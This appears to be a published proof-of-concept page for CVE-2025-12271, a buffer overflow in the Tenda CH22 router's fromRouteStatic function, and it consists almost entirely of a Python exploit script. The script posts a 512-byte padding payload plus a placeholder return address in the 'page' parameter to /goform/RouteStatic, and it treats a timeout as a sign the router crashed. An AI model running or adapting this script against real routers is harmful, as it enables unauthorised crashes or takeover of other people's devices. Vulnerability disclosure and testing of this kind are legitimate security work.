CVE-2025-12271 Tenda CH22 路由器 fromRouteStatic 函数缓冲区溢出漏洞

import requests import sys def exploit_cve_2025_12271(target_ip, target_port=80): """ PoC for CVE-2025-12271: Tenda CH22 Buffer Overflow in /goform/RouteStatic Target: Tenda CH22 1.0.0.1 Vulnerability: Buffer overflow in fromRouteStatic function via page parameter """ url = f"http://{target_ip}:{target_port}/goform/RouteStatic" # Prepare malicious payload - 512 bytes padding + return address padding = b'A' * 512 # Overwrite return address with address of shellcode or system call return_addr = b'\x00\x12\x34\x56' # Example address, need to adjust payload = padding + return_addr # Construct HTTP POST request with malicious page parameter data = { 'page': payload.decode('latin-1'), 'action': 'save' } try: print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload length: {len(payload)} bytes") response = requests.post(url, data=data, timeout=10) print(f"[+] Response status: {response.status_code}") print(f"[*] Response length: {len(response.content)} bytes") return True except requests.exceptions.Timeout: print("[!] Request timed out - target may be vulnerable and crashed") return True except Exception as e: print(f"[!] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit_cve_2025_12271(target, port)